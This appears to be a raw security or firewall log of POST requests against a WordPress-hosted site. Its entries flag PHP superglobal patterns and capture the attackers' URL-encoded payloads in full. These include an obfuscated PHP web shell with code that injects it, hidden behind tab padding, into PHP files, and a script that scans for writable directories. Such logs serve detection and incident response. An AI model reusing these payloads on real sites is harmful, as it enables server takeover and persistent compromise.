binding6.%25275%2527.%2527f%2527.%25276%2527.%2524binding5.%2524binding1.%2524binding4.%2524binding3.%25275%2527.%25276%2527.%2524binding7%2529%253B%2524buffer_cache3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527.%25275%2527.%2524binding1.%25278%2527.%25276%2527.%25275%2527.%2524binding3.%2524binding7%2529%253B%2524buffer_cache4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%25270%2527.%2524binding3.%2524binding8.%2524binding1.%25273%2527.%25277%2527.%25273%2527.%2524binding1.%25274%2527.%25276%2527.%2524binding4.%25277%2527.%2524binding9.%2524binding1.%25275%2527%2529%253B%2524buffer_cache5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%25270%2527.%2524binding3.%2527f%2527.%2524binding1.%25270%2527.%2524binding3.%25275%2527.%25276%2527.%2527e%2527%2529%253B%2524buffer_cache6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%25273%2527.%25277%2527.%25274%2527.%25277%2527.%25272%2527.%2524binding3.%2524binding5.%25276%2527.%2524binding8.%2524binding3.%2527d%2527.%2524binding5.%2527f%2527.%2524binding3.%2524binding1.%25276%2527.%25275%2527.%2524binding1.%2524binding10.%25275%2527.%2527f%2527.%25276%2527.%2524binding7.%2524binding3.%2524binding11.%25276%2527.%2527e%2527.%2524binding1.%25274%2527.%2524binding3.%2524binding5.%25276%2527.%2527e%2527.%25277%2527.%2524binding10.%25277%2527.%2524binding7%2529%253B%2524buffer_cache7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%25270%2527.%2524binding3.%25273%2527.%25276%2527.%2524binding6.%2524binding3.%2527f%2527.%25277%2527.%25273%2527.%25276%2527.%25275%2527%2529%253B%2524splitter_tool%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524binding1.%2524binding7.%25277%2527.%25270%2527.%2524binding3.%2527c%2527.%25276%2527.%25279%2527.%2524binding1.%2524binding10.%2524binding1.%25274%2527.%2524binding3.%2524binding5.%25277%2527.%2524binding9.%2524binding5.%2524binding11.%25277%2527.%25274%2527.%2524binding3.%2524binding11.%25276%2527.%2527f%2527.%2524binding3.%2527c%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524splitter_tool%255D%2529%2529%257B%2524splitter_tool%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524splitter_tool%255D%2529%253Bif%2528function_exists%2528%2524buffer_cache1%2529%2529%257B%2524buffer_cache1%2528%2524splitter_tool%2529%253B%257Delseif%2528function_exists%2528%2524buffer_cache2%2529%2529%257Bprint%2520%2524buffer_cache2%2528%2524splitter_tool%2529%253B%257Delseif%2528function_exists%2528%2524buffer_cache3%2529%2529%257B%2524buffer_cache3%2528%2524splitter_tool%252C%2524entry_record%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524entry_record%2529%253B%257Delseif%2528function_exists%2528%2524buffer_cache4%2529%2529%257B%2524buffer_cache4%2528%2524splitter_tool%2529%253B%257Delseif%2528function_exists%2528%2524buffer_cache5%2529%2526%2526function_exists%2528%2524buffer_cache6%2529%2526%2526function_exists%2528%2524buffer_cache7%2529%2529%257B%2524tkn_object%253D%2524buffer_cache5%2528%2524splitter_tool%252C%2522r%2522%2529%253Bif%2528%2524tkn_object%2529%257B%2524ptr_token%253D%2524buffer_cache6%2528%2524tkn_object%2529%253B%2524buffer_cache7%2528%2524tkn_object%2529%253Bprint%2520%2524ptr_token%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 14:59:55","77.73.233.48","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36","post","\\$_(GET|post|cookie|files|session|env|phplib|GLOBALS|SERVER)\\[ >> zB:%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-site:none\ncontent-length:3811\nsec-fetch-mode:navigate\nsec-fetch-user:?1\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvrxVvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzkiL2gyMPV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncontent-type:application\/x-www-form-urlencoded\n\nzB=%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20"]
["2026-05-12 15:00:04","167.71.226.156","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36","post","\\$_(GET|post|cookie|files|session|env|phplib|GLOBALS|SERVER)\\[ >> Rb:%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-site:none\ncontent-length:3811\nsec-fetch-mode:navigate\nsec-fetch-user:?1\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvHzVvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAfLKAmVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"100\", \"Google Chrome\";v=\"100\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncontent-type:application\/x-www-form-urlencoded\n\nRb=%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20"]
["2026-05-12 15:01:33","87.106.235.29","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","post","\\$_(GET|post|cookie|files|session|env|phplib|GLOBALS|SERVER)\\[ >> Bs:%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22\/wp-admin%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\", \"Google Chrome\";v=\"120\"\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvDaZvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzSwL2IjqTIxVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-ch-ua-mobile:?0\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua-platform:\"macOS\"\ncontent-length:3822\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\n\nBs=%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%